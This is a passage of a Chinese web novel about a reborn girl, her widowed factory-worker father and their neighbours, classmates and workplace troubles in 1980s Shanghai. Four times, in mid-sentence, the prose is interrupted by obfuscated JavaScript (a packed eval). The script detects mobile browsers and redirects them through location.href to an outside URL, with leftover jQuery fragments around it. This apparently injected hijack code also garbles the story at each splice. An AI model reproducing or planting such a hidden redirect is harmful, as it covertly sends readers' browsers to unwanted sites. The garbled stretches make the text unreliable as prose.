也有那特别好事的,追着马冬兰问王小军考了多少分。马冬兰就从鼻子里“哼”一声,送他两个卫生球。 - 分数出来的这天晚上,回家时在楼道里遇到了二楼的邻居樊美娟。 两家都住着厂里分的新工房,楼上楼下,平时低头不见抬头见的,关系处得不错。瞧见父女三人都乐呵呵的,樊美娟便顺口问了句:“老程,瞧你这开心样子,有啥好事啊?” 程根生语气里带着自豪,笑呵呵地说:“萍萍期中考试考得蛮好的,老师还夸她进步非常大。” “呦!那是开心的。萍萍本来就是聪明小囡呀,读书么稍微认真点,分数就上去了呀。” 樊美娟顺着夸了几句,一边打量着程守萍:“萍萍好像长高了不少啊……眼看着天要冷了,你看她穿的绒线衫都短了一截,老程,要不要我帮萍萍改一下,袖口这边接长一点?” 哎,单身男人带小囡就是粗枝大叶的,只知道让小囡吃饱就好了,眼看这几个月小姑娘个头窜了不少,袖口、裤脚都明显短了一截。老程也不知道替她换身大点尺码的衣裤。 程根生经樊美娟提醒才注意到,女儿这段时间确实长高了不少,不管是校服,还是里面穿的绒线衫都显得不合身了。 这件绒线衫还是秀珍两年前织的,当时是往大里织,她说小囡长得快,织大点可以多穿点时间。 转眼萍萍已经长高了许多,让这件绒线衫都嫌小了。可秀珍却看不到了。 程根生鼻根微酸,眨了眨眼,对樊美娟点点头:“你说得对,是嫌小了。你要是有空,能不能帮萍萍织两件新的?绒线要用多少?都我来买。还有这个月的烟票够不够老张抽的?我这里香烟票还有。” 樊美娟笑着道:“绒线我来买就好,你一个男人家又不懂买什么绒线才合适,反正到时候用掉多少绒线,我跟你报个数不就行了?每个月那点烟票倒是真不够老张抽的,但是你给他多少他就抽多少,还不如不给他,那点点份额抽光算数。” 也就过了七八天,樊美娟织好两件钴蓝色绒线衫,胸前有白色的雪花图案,绒线衫一大一小,还用多余的同色绒线织了两双手套和两条围巾,姐弟俩一人一套。走出去一眼就知道是一家人。隔几天又织好两套,米黄色和浅咖啡色的条纹交织,姐姐的是细条纹,文雅细巧,弟弟的是宽条纹,大方活泼。 程根生感激她用心,除了买绒线的钱之外,还把当季的香烟票给了她。 樊美娟没有多推辞,最后还是收下了,但她也不打算买额外的烟给老张抽,香烟票么黄牛会收的呀。老程给的烟票还挺多,她晚上空下来就织织绒线,后来又给姐弟俩各织了两条绒线裤,过冬都没问题。 经樊美娟提醒,程根生想起快要入冬了,回家就打开大衣橱,翻出过冬的棉袄,让姐弟俩套身上试了试,果然是小了,扣子几乎要扣不上,勉强扣起来也是紧巴巴的。 宏宏小脸憋得通红,直喊:“胸口闷!胸口闷!” 程根生赶紧给他解了扣子,棉袄脱掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059908|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 往年这些事都是秀珍在操持,他一时没方向,只好又拿了棉袄下楼去问。 樊美娟细细教他:“你带好布票、棉花票,去菜场旁边的那条小弄堂,里相有个老师傅,手艺老好的,价钱也公道。你叫他帮你把棉袄翻翻新,放大一点。记得带两个小囡去量尺寸啊。” 程根生记住了,隔天正好轮休,他便带上姐弟俩去找老裁缝改棉袄。 裁缝铺门面非常窄小,大约就一米左右的宽度,也没有招牌,要不是樊美娟预先提醒,程家父女可能就直接走过去了。 这铺子对外的窗口,其实就是在门旁边的墙上开了个洞,老裁缝正坐在里面踩缝纫机。 听到要改棉袄,老裁缝让两个小囡进来量尺寸,程根生站在窗洞外面朝里看,屋里面黑魆魆的,也不知道这老裁缝是怎么看清楚针线的。 “啪!”裁缝拉了下灯绳,日光灯闪烁了几下,屋里亮堂不少。 尺寸量好,老裁缝在一本小本子上写写算算,对程根生道:“旧料子拆下来可以做衬里,外面用新布,看起来就像新棉袄一样。另外改大还要再添点新棉花进去。” 随后老裁缝丢给他一沓钉在一起的布条,让他选料子。 程根生也不知道选啥好,直接传给了女儿:“你来挑。” 程守萍给自己选了个浅棕色的细条灯芯绒面料,给弟弟选了个墨绿色的灯芯绒。 程根生付了钱和布票棉花票。转身带姐弟俩回家,一路上问程守萍:“你们校服现在可以买吗?” 程守萍摇摇头:“陈老师说,校服都是开学的时候统一订,厂家不接受一件两件的单。等下学期开学就能买新校服了。” 程根生不由内疚,他居然那么久了都没发现女儿的校服不合身。 程根生有两个姐妹,小囡都比宏宏大,穿不下的衣服就拿来给宏宏。三、五岁的孩子还不太费衣服,两个嬢嬢拿来的衣服都有七八成新,足够宏宏换穿的,所以程根生不由忽略了给小囡换衣这件事。 他心带愧疚,摸了摸女儿的头,像是说给她听的,又像是说给自己听:“等开学了,订两套新校服。” - 期中考试成绩出来后没几天,班里发生了一件事。 早晨作业本收上去,陈老师发现沈继舟和另外一个同学的作业没交,上课的时候就问他们。 另一个同学是真没交,但沈继舟明明是交了作业的。 陈老师也知道沈继舟不会无缘无故不交作业,没有批评他,只让他在课间补上该交的作业。 下课后程守萍和蔡琳玲一分析,语文作业是曹俊收齐后送到老师办公室的,沈继舟交了,老师没收到,只能是曹俊在把作业送去老师办公室的路上动了手脚。 蔡琳玲出主意,让王新宇引开曹俊,她们去搜曹俊的课桌和书包,要是能找到沈继舟的作业本就是铁证了。 王新宇连连点头,摩拳擦掌只等大家都同意了就去干。 12. 【被举报了】 程守萍摇头,搜人课桌和书包就有点过头了,就算曹俊被引开,他前后排的同学看到了难道不会告诉他?真找到了作业本还好,要是没找到呢? 曹俊只要不是太笨,大概率不会把作业本藏在自己书包或课桌里,更大的可能是找个不显眼的地方悄悄扔了。万一被人找到的话,还有借口说是无意中弄丢的。 “那就让他小人得志了?”蔡琳玲愤愤不平。 程守萍说:“小人只要得到权力就会滥用,想避免的话,只有一开始就别让小人得到这种权力。” 沈继舟埋头补作业,一直没说话。 又过了几天,陈老师说要改选班干部,以前低年级的时候班干部都是老师指定的,但他们已经四年级了,同学相处也有三年多了,大家可以票选自己认可的人来当班干部。 这次改选的主要是班长、班委以及各科课代表。 大家可以推举自己认为合适的人选,放学之前投入投票箱。隔天统计出票数较多的候选人之后,公布候选名单,最后在班会上,再进行一次不记名投票,从这些候选人中选出最后的人选。 写语文课代表名字的时候,蔡琳玲朝程守萍眨了下眼,铅笔朝沈继舟的后背晃晃。 程守萍确实觉得沈继舟当之无愧,但他也说过嫌麻烦不想当的。 她索性直接问他了:“沈同学,语文课代表要不要选你?” 安静片刻,沈继舟说:“都行。” 程守萍:“……” 沈继舟要是明说别选他,程守萍就不写他名字了,但他说都行,四舍五入等于行,那她还有啥理由不写呢? 她和蔡琳玲对视一眼,都在语文课代表后面写上了沈继舟的名字。 “哎,记得选我当体育委员啊!”王新宇听到对话,转过头来毛遂自荐。 蔡琳玲白他一眼:“凭啥选你?” 王新宇自信满满:“我跑得快啊,还会打球,对了,还有跳远,跳远我是第一名!” 蔡琳玲用极低的声音嘀咕了句:“四肢发达。”不过想想要是王新宇真选上了体育委员,他们是前后排的,也更好说话不是。于是她也把王新宇的名字写了上去。 第二天公布候选人名单,沈继舟、曹俊都在其中,王新宇也入了体育委员的候选,他得意洋洋地回头:“看吧,我说选我没错吧?” 蔡琳玲切了一声:“还没当选呢,你别得意的太早。” 下午的班会课,进行无记名投票。等大家投完,陈老师让两名同学一起上前唱票,念到谁的名字,陈老师就在黑板上他的名字下面画一笔,五笔就是一个“正”字。 沈继舟名字下面的正字已经写到了第三个,投曹俊的票也不少,两个正字刚写完,两边交替增加,咬得很紧。 还有个候选人只有两三票,不是他们的对手。 曹俊紧紧盯着黑板上自己名下的那列正字,脸色泛红,牙关紧咬,双拳不由自主地攥紧。只差一票,他就能追上沈继舟了。 沈继舟倒是显得很淡然,一副选得上选不上都无所谓的样子。 “语文课代表,曹俊。” 追平了!曹俊在课桌下面无声地晃了下拳头,转头去看沈继舟的表情。 沈继舟正低头看着什么。曹俊视线下移,看到他搁在桌板下面的是本摊开的书,上面全是密密麻麻的小字,一看就不是课本。 居然还有闲心看闲书! 曹俊:“……” 这时唱票的同学从投票箱里取出最后一张票:“……语文课代表,沈继舟。” 尘埃落定。 王新宇没选上体育委员,垂头丧气。 蔡琳玲笑他:“我让你别得意太早吧?这就叫庆祝太早,结果糟糕。”然后又转向沈继舟,“最后那票就是我投的,你选上了课代表,要请客谢谢我。” 沈继舟一脸认真地拒绝了:“我不能请你,如果请了,那就叫贿选。” 蔡琳玲:“???”会选?是说她很会选人吗? 接着陈老师要求选上的班干部轮流上讲台,每人说几句当选的感想或是对如何做好这个班委的构想,类似于微缩版的就职演讲。 程守萍本以为沈继舟会发窘或是一脸不自在,不过他虽然脸有些微发红,表情看上去还挺镇静。 再一想,毕竟陈老师经常让他当众读自己的作文,多少也练出来了吧。 - 晚间吃饭的时候,程守萍对爸爸说起今天选班委时发生的趣事。 宏宏在一旁听着,其实似懂非懂,但也假装听得懂似的,边听边点头。最后实在忍不住了,把小手举高高,表示他有问题要问。 程守萍看向他:“怎么啦?” “为什么要写‘正’字啊?” “因为‘正’字的笔画正好是五笔啊。一个字五票,两个字就是十票,一眼就能看出来有多少票了。” 程守萍一边说,一边在他手心里画正字。宏宏痒得抽回手,缩着脖子“咯咯”直笑。 正说着话呢,走过来一个高大健壮的男人,饭盆往程根生旁边一放,跟着坐下了。 程守萍喊了一声:“傅叔叔。”宏宏也奶声奶气喊了一声“傅叔叔”。 “哎。”傅奎笑着应了,转向程根生时神情严肃了几分,声音也压得很低,“老程,有人举报你,知道不?” 程根生愣了愣:“我?我有什么好举报的?” 傅奎是班组长,今天车间主任找他了解情况,就是问老程有没有偷拿车间的金属废料。 程根生确实拿过几块废铁皮,利用休息时间切割打磨,做成小马小人给宏志玩。那几个小人还没一根手指头高,全部加起来融成团也不会比个鸡蛋大。 一般来说,只要不是拿出去倒卖赚钱,只用一点废材修修补补,做点小工具家里用用,那是眼开眼闭的事。 车间里的老师傅、班组长这些老资历的工人,基本都拿厂里的废料做过各种小工具。 比如废钢筋弯一弯,一头稍微磨磨尖就是煤勾,用来勾煤球炉里滚烫的煤饼,清理炉灰,趁手得很。再比如家里有什么桌子椅子腿,木架子、长杆子裂开了,用铁皮箍起来,箍箍紧就能当新的一样用了。 有什么办法呢,大家都不富裕,能省一点是一点。 其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059909|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车间主任也清楚得很,他自己家敲核桃的小钢锤,还是用小块的边角料钢材做的呢。 但是,有人举报了,还是要走形式问一下的。 傅奎当然拍胸脯说根本没影子的事,老程那么老实的人,哪里会偷厂里废料嘛。 回头就来找程根生通风报信了:“老程,你想想,是谁会举报你?” 程根生摇头。程守萍小声说:“娄叔叔吧……” 傅奎一击掌:“肯定是他!” “那天你不是发觉他车刀没装牢,报上去了吗?厂里给他记大过,还扣了工资。” 安全制度方面厂里一向很重视,不仅把娄桐这次的记大过通报全厂,还在广播中公开表扬程根生,夸他安全意识高,才能够提早发现隐患,避免了一场重大安全事故的发生。 因此傅奎完全不觉得这是需要隐瞒的事情,更没留意到程根生不停向他使的眼色,一口气说完后总结道:“肯定是他为了报复你,向上面举报了。”老程平时从来不得罪人的,所以这个举报人,除了娄桐不会有第二个。 程根生看看女儿,她正低头吃炒鸡蛋,好像不准备追问他为啥没告诉她这件事,才暗暗松了口气。 “老程,就算这次举报的事情过去了,小娄那里不一定肯罢休。你这两天要当心点啊,眼睛睁睁开。” 程根生没说话,只点了点头。 饭后回家的路上,程守萍和宏宏说着话,时不时看一眼爸爸,虽然爸爸一向话少,但总觉得今天的他比平时更严肃,好像有什么心事似的。 等回到家中,程守萍便索性问他了:“爸爸,你是在想被举报的事吗?” 程根生意外地愣了愣,随后摇摇头:“不是。” 他停了停,见女儿望着他,仍然是一副等着他回答的样子,便清清嗓子:“咳,车间里推荐我去考六级钳工。” 程根生取得五级钳工证书已经三年多了,这次上报娄桐的过失,阻止了一桩特大安全事故的发生,属于立功表现,车间除了开会表彰之外,还向上级领导推荐他参加六级钳工考核。 程守萍又惊又喜:“爸爸,这是大好事啊!” 厂里五级钳工一个月68元工资,六级工一个月80元。光每个月工资就多了12元,再加上各类津贴也是水涨船高。这可是一笔不小的收入提升啊。 程根生笑了一下,略显为难地说:“要考试的,还要去上培训班。” 程守萍这下明白他为什么犹豫了。 六级工考核并不是那么容易通过的。她技校毕业出来后就在厂里做质检员,听去考过的钳工聊起,考核分为“应知”和“应会”两部分,应知是理论考核,应会是实操考核,而且都有相当高的难度。 工人大多数文化程度不高,就算实操技术过关,理论考却是薄弱项,即便在培训班经过几个月的培训,最后真正能通过考核,顺利拿到六级证书的不会超过三分之一,甚至更少。 而爸爸如果去参加厂里组织的业余培训班,每天晚上以及周末半天都要上课。 这就意味着他没法像现在这样照顾宏宏,需要程守萍花更多的时间来照看宏宏。 13. 【出黑板报】 程根生担心的是,花了许多业余时间参加培训班,最后却没考过,竹篮打水一场空。 女儿两年级的时候功课还很好,因为秀珍过世的打击,成绩一落千丈。他自己也就小学文化,平时嘴又拙,不知道该怎么教她。 眼看着最近半年她变得刻苦勤奋起来,成绩也变好了,这时候他再去折腾上什么培训班,影响她的学习,不是变成他这个当爸爸的拖女儿后腿了吗? 程守萍却显得很兴奋:“爸爸,你去考吧,你没空的时候我会看好宏宏的。而且宏宏也很乖很听话,不会影响我学习的。我支持你去考!” “宏宏乖,支持你考!”宏宏没听懂爸爸和姐姐在说什么,但说他乖他听懂了,高高举手,奶声奶气地重复着姐姐说的话。 程根生被儿子逗笑了,同时也被女儿的兴奋口吻所感染,赧然笑着点了一下头。 是啊,就算是难考,也只有去考了才有机会通过,不考的话连三分之一的机会都没有。只要拿到六级证,家里的经济情况就可以得到改善,也不至于给小囡吃个荤菜也要算上老半天了。 程守萍想得却比此时的程根生还要长远一点。她记得要不了几年就会有德国公司来本市投资,合作建汽车厂。 前世的那个时候,爸爸厂里有一批技术骨干调入合资汽车厂,其中也有六级钳工。进汽车厂的工人收入比在原厂时翻了好几倍,甚至比许多机关干部的收入还要高,在社会上引起了巨大震动。但爸爸那时候已经残疾,转岗成为工具室保管员,根本就没有机会去合资厂工作。 这辈子,她希望爸爸能抓住这个机会,用他这双完好健全的手。 - 四年级开始,教室后面的黑板报就是由学生负责来出。 陈老师认为班上每个同学都应该参与进去,所以黑板报虽然是由宣传委员孙晓云负责组织,但具体执行是小组轮换的,这次轮到了程守萍这组。 梁凯和张佑军坐最后一排,虽然他们个头较高,也要站到凳子上才能够着黑板上沿。为了方便出板报,索性把后排的课桌全推到黑板下方,连成一整条。梁凯用板擦擦完黑板,张佑军用湿抹布再抹一遍,干干净净。 在他们擦黑板的时候,其他人开始商量每个人具体要做的事。沈继舟自然是负责出稿子,程守萍和王向珊字写得好,负责抄写文字,梁凯平时就喜欢画画,他和周亦欣负责画报头、插画和花边,蔡琳玲和张佑军负责给抄写的人打下手,递粉笔,对稿子。 王新宇问:“那我呢?” 蔡琳玲一指椅背上挂着的水壶:“你负责给大家打水。” 王新宇欣然接受这个任务,开始逐一把水壶往身上背。就见他左一个军用铝壳水壶,右一个塑料水壶,八个水壶全挂在身上,五颜六色。远看像是背了一堆炸药包的士兵,正要冲进敌人阵营同归于尽,近看像是个收废品的,手里拿不下了就往身上背。 蔡琳玲指着他哈哈大笑,大家跟着笑了起来。 王新宇自己也笑,边笑边跑出教室去打水,身上挂着的水壶甩来甩去,叮铃桄榔一阵乱响。 上一期黑板报是关于秋游,这期因为刚选完班委,陈老师要求留一个角放新班委的名单,再放一篇学习方法介绍,其他的内容可以他们自己定。 主题和内容大致定下后,沈继舟便坐回自己座位写稿子,大家看到王新宇的滑稽样子发笑的时候,他也没抬头去看上一眼,始终专注地书写。 周亦欣和梁凯开始商量报头画什么。孙晓云让张佑军把黑板平均划分为四块,一块用来放学习方法介绍,一块用来放班委名单,余下的放沈继舟的文章。 程守萍因为期中考试进步大,陈老师在成绩出来后就让她总结自己的学习方法,分享给大家。所以这部分内容是现成的。 她拿出削笔刀,把一根粉笔的头部削尖,先用直尺垂直贴上黑板,画上等距离的小点,接着再画出一道道极细的横线,这样抄写的时候字体排布会更整齐均匀。 粉笔尖很快变钝,她时不时就要停下,重新把它削尖。 蔡琳玲见状,和张佑军、王向珊一起揽下了削粉笔的活,只要程守萍手里的粉笔钝了,立刻能换上一支新削好的。 众人协作配合,很快就把线画好了。 这会儿工夫,沈继舟的稿子也已经写完了,检查一遍,确保没有错漏后,交给王向珊抄写。 大家都不得不佩服他写文章的速度,别人还在咬铅笔头苦苦构思的时候,他已经写完在那里检查错别字了。 程守萍找了支白色的粉笔开始写学习方法介绍,没写几个字就发现不对劲,急忙往后退了两步。 梁凯就在她上方画报头,粉笔灰簌簌落下,正好落在她头顶。 她拍掉头顶的粉笔灰,无语地望向梁凯。但大家都是协同合作,总不能非要梁凯停下来,等她写完这块再继续画报头吧? 这时,后面递过来一本练习簿,摊开的,封面朝上。 她回头看了眼,是沈继舟递过来的。 沈继舟写完稿子后就过来看她们写板书,顺手拉了张最后排的椅子过来坐着。 刚看到梁凯在程守萍上方画画的时候,就想提醒她小心粉笔灰。没想到她反应还挺快,马上就往后退开了,刚好退到他侧前方。 他拿着练习簿比了一下。 程守萍立时会意,接过练习簿顶在头上,这样就能挡住粉笔灰,还不影响她的视线。 但因为一只手要扶着练习簿,她没法看着自己的稿子抄,就让蔡琳玲帮她读,读一句,她写一句。 前一世程守萍是练过硬笔书法的,基础的楷体、行楷自不用提,她还能写一手漂亮的仿宋体,瘦金体也能写得像模像样。 练字的契机是因为她自觉学历不高,也没什么拿得出手的特长,想着好歹字写得漂亮些,不至于让人看轻。另外也是因为施建华常常不回家,她又没小囡,一个人在家百无聊赖,练练字也是给自己找点事做。 后来大家都开始用手机发信息,用电脑写文档,她练的这一手漂亮字变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059910|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无用处。 重回小学时代,她当然不可能再用那样的字体来写作业,甚至还得故意写得幼稚笨拙,去贴近自己十来岁时本来的字迹。 但随着时间推进,她的字迹逐渐变得美观工整起来,要问,就是她在练字。 因为是听写,又是自己的稿子,内容早就耳熟能详,她抄写的速度也很快,写完第一块板书的时候,王向珊只写完小半块。她和王向珊交流了一下,由她接手沈继舟的稿子,王向珊去写班委名单。 蔡琳玲接过稿子,才念了半句就念不下去了:“这个字念啥?” 沈继舟把稿子拿过去:“我来念吧。” 蔡琳玲长出了口气:“正好正好,谁写的谁来念。” 沈继舟写的是《老人与海》的内容简介,或者说是故事缩写吧。蔡琳玲不会念的那个字是殊死搏斗的“殊”。 对程守萍来说,这个字看到肯定读得出,但要她凭空写出来,一时也有点犯难。 手机用多了的后遗症。 反正她现在是小学生,这个字不会写也算不上丢脸,她索性探头去看沈继舟手里的稿子。 他这个字,写得有点丑啊。 程守萍诧异地看了眼沈继舟,想不到作文好手、语文第一名的字居然是这样的,虽说他写得快,有点潦草是可以接受的,但字本身的间架结构是能体现出好坏的。 程守萍所不知道的是,沈继舟被扣掉的那两分,正是因为字写得太糟糕,让陈老师扣掉的书写分。 本来他是100分的。 沈继舟似乎意识到了她这一眼的诧异是因何而起,嘴唇一抿,把稿子往胸前一贴,不让她看了。 他之前看过程守萍写的英文单词和中文注释,那时候还没觉得怎么,这会儿看到她在黑板上书写的字,再对比自己草稿上的字。 和她比起来,他的字就和狗爬差不多。 程守萍什么都没说,反正“殊”字已经看到,想起来怎么写了。 一个继续念稿,一个继续听写。权当无事发生。 程守萍把稿子全文写完。梁凯的报头也画得差不多了,周亦欣在板报四周与文字间隙添加的花边也已完工。 梁凯画的是枫树,伸展的枝叶占据了黑板的左上方,一片片枫叶好像小手掌,还有些在半空中飘舞,正好装点板报有空隙的地方。 看着枫树枝条的下方还有点空,程守萍把一截黄色粉笔横过来,写上粗体的《老人与海》,再用蓝色粉笔勾勒出阴影部分。 “哇,这是什么字,看起来真漂亮!”蔡琳玲大呼小叫,“你是什么时候学会这一手的?” 程守萍微微笑:“这叫美术字。在爸爸厂里看他们出黑板报的时候学的。” 板报出完了。蔡琳玲指挥着张佑军和王新宇把课桌擦干净,重新抬回原位,对齐。 大家一起站在黑板前欣赏了好一会儿,脸上都带着满意的笑容。 一想到同学们来学校见到这块板报时的样子,就格外期待明天来学校上学。 14. 【夜读】 也是到了这个时候大家才觉得口渴,纷纷拿起水壶,咕嘟咕嘟地大口喝水。 程守萍脱下校服外套,到走廊里用力甩动,掸去粉笔灰,蔡琳玲依样画葫芦过来掸灰,程守萍睨她一眼:“你又没写没画。校服上也有灰?” 蔡琳玲:“我就在你后面没几步远,多少也会飘过来点吧。” 已经十一月了,太阳落得早,他们离开教室的时候天色已黑,校门也锁了,门卫见他们一群人说笑着出来,知道是留校搞活动的学生,问过一句便开门放行。 程守萍提前和家里说过放学后要出黑板报,程根生晚饭后要上厂里的培训班,便托樊美娟先带宏宏回家,帮忙照看一会儿。 因为培训班一上就是好几个月,女儿学校也时不时会有活动,程根生考虑到以后还会麻烦到樊美娟,就把平时攒下来的部分粮票,加上这个月发的一部分油票肉票蛋票一并给她了。 樊美娟本来就是热心肠,再加上程家两个孩子都挺懂事,带起来不麻烦,当即笑着答应了程根生。 程守萍来到二楼敲门,不多时门便开了,她微笑着打招呼:“樊阿姨,宏宏在吗?我来接他回家。” 樊美娟却把她拉进了门:“萍萍,你们出板报弄到这么晚啊,饭还没吃吧?来来来,坐下吃口热饭,菜我也是放草窠里的,还是有点冷了,你等我热一下,马上能吃了啊。”说着把她往桌前一按,转身就去热菜。 “谢谢樊阿姨,不用麻烦了,我刚走回来,身上热着呢,菜还有点温,这样就能吃了。” “快入冬的天气,怎么能吃冷菜呢。胃要吃坏的。”樊美娟没听她的,把碗放上蒸架,开火。得亏是新工房,通了煤气做饭热菜都方便,要是换作以前的老房子,还得把煤球炉拎到外面烧菜烧饭。 樊美娟的丈夫姓张,两个儿子,一个初中,一个小学,这会儿都在屋里写作业。 她家和程家是一样的一居室,外面一个三、四平方米的小厨房,兼做吃饭的地方,里面一间十多平米的房间,不管是写作业还是看报纸、织绒线、休息睡觉全在这一个房间。 这一家子加上程守萍和宏宏姐弟俩,简直挤得快没地方落脚。 所以程守萍三口并作两口,赶紧吃完饭,去水斗里把碗筷洗了。再次谢过樊阿姨后,就带着宏宏回自己家了。 刚回家,屋子里空荡荡的没人气,显得格外阴冷,程守萍索性先给宏宏洗脸洗屁股,再把小脚泡的热乎乎的,让他穿上袜子坐床上玩。 因为出黑板报,头发上落了粉笔灰。她另烧了点热水,倒在脸盆里,再放点冷水,试了试温度后开始洗头。 平时都是在厂里的公共浴室洗澡,今天因为出板报回家已经晚了,又要看着弟弟,索性就在家洗了。 洗完头拿毛巾包住湿头发。她回到写字桌边坐下,拧开台灯,开始写今天的作业。写完一门功课,头发已经不滴水了,她解开毛巾甩了甩短发,让它自然晾干。 等宏宏睡了,她便轻手轻脚关上门,在厨房读英文。虽然门窗都关着,窗户缝里还塞着报纸折成的长条挡风。但西北风好像无孔不入,始终有一丝丝的冷气从窗户缝里直钻进来。 她搁下书,冲了个热水袋放腿上捂着取暖。 没多久程根生回来了,还带回两个热乎乎的茶叶蛋,隔着纸包都能闻到扑鼻的浓香。 父女俩一人一个茶叶蛋吃完,一起捧书夜读。 程根生虽然是小学文化,其实也读过两年初中,后来学校里流行起读书无用的口号,受环境影响,他也就没再读下去,再后来就到厂里当了学徒工,跟着老师傅从最基础的划线、锉削开始学起。 十几年的钳工做下来,一步步学技术、练手艺,三十多岁又正好是男人身体素质最好的时期。他对自己的钳工技术有信心。 但理论考核就是另外一回事了。 当初四级升五级就要求看懂图纸,理解工作原理。要会画零件图纸,还要学习金属材料的特性和各种不同的加工工艺。 那时候的培训,程根生就觉得相当难了,但好歹家里有秀珍照顾着,有她全力支持,他不需分心去考虑别的事情,全力备考,几乎是踩着线过的理论考。 他曾经觉得五级钳工已经是他的极限了,六级是肯定考不过的。 可这段时间看到女儿那么用功,跟着成绩也有了大幅提升。他也在不知不觉中被鼓舞了。 别人能读出来,他为什么就不能?哪怕一次考不过,第二年还可以再考,就算步子迈得再慢,只要一步步走下去,一定能有进步的。 看了会儿理论书,程根生觉得脑袋有点发胀,眼睛也酸涩起来,抬头想放松一下,就见女儿正在一张张小纸片上写着什么,不由纳闷:“这是做什么?” 因为学习时间变得比较散碎,程守萍想到了做英语词卡。 前一世她自己没有生养过,但帮宏志带过他的小囡。侄女刚开始认字的时候,宏志买了字卡,卡片正面是字和拼音,背面配着简明易懂的图。 程守萍把草稿纸裁成同样尺寸的长方形小片,左边写单词与音标,右边写中文注释,把纸对折,中文就到了背后。把所有纸片用针线钉起来,就可以随身带着,随时随地拿出来背几个。 程根生听完她解释,觉得这法子挺好,他也可以把考试要背的东西抄在小本子上面,食堂打饭排队的时候都能拿出来背。 他抬头看了看挂钟,已经九点半了,催着女儿上床睡觉,自己找出支圆珠笔,在工作手册上一字一句地抄写起来。 第二天早上,程守萍特地比平时早十五分钟到校,想看看大家见到新出的板报时的表情。 但一进教室,她就发现了不对劲。 板报没有了,黑板上空荡荡的。 小组里的人和程守萍想法差不多,都比平时的点早到学校,看到空荡荡的黑板,所有人都傻眼了。 王新宇:“我应该没做梦吧?我们昨天是出了黑板报的对吧?” 蔡琳玲狠狠白他一眼:“当然不是做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059911|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦了!有人把我们出的板报擦掉了!” 而且擦得很匆忙,黑板上仍有残留的粉笔灰,还有少许字迹和画没完全擦干净。 程守萍和蔡琳玲的第一反应都是去看曹俊的座位。 座位是空的,书包也不在,他人还没来。 蔡琳玲皱眉沉思:“会不会他昨晚上也留下来了,偷偷藏在别的教室,等我们走了之后来擦的黑板?” 不排除这种可能,但他们没有证据。虽然想不到还有谁,也不能就此认定是曹俊了。 周亦欣小声抽泣起来,她一哭,王向珊也开始抹眼泪。其他人心里也都不好过。 蔡琳玲跺跺脚:“我去问问。”说完就跑了出去。 王新宇跟着追上去:“你要去哪儿?问谁啊?” 蔡琳玲沉着脸没理他,一路跑到校门口传达室,问门卫大叔昨晚他们几个离开学校后,还有其他人出来过没有。 大叔说没有了,他们是最后一批离校的学生。 蔡琳玲失望地转身往教室走,她还以为能问出点什么,比如在他们之后还有个男学生一个人离开之类的线索。 王新宇挠头,也跟着往回走。 蔡琳玲突然一把揪住他,把他往树后拉。 王新宇纳闷:“你做啥?” “嘘——”蔡琳玲朝他摇手,示意他别出声。 两人躲到树后,就见曹俊背着书包,从操场方向过来。眼看他转个弯就要进入教学楼,蔡琳玲冲了过去,王新宇赶紧也跟上。 “曹俊!站住!” 曹俊回头看是他们,没搭理,继续往楼里走。 “我让你站住!”蔡琳玲抢到他身前,踩在一级台阶上,比曹俊还高了半头,叉着腰问,“你早上干啥了?” 王新宇紧随而上,也堵在了曹俊跟前。 曹俊本来想推开蔡琳玲,但有王新宇在,他不敢动手,只能没好气地说:“关你什么事?” “是不是你?把我们辛辛苦苦出的板报擦掉了!” 曹俊冷笑一声:“板报没有了关我什么事?”他斜睨一眼蔡琳玲,“是不是你们偷懒没出板报,自己擦几下黑板,硬说是别人擦的?” 蔡琳玲气坏了,嗓音也拔得又尖又高:“我们昨天就把板报都出好了,一直到天黑才回家的。你明知道我们组昨天轮到出板报,今天一大清早就过来把板报全擦了,还装成和你没关系的样子。你要是没干这事,为啥要躲到操场上去等我们都来了才回教室?” “我去操场上背书不行吗?谁说我躲你们了?”曹俊一边说一边绕开蔡琳玲,往楼上走。 蔡琳玲想要拉住他,被程守萍拦住了。 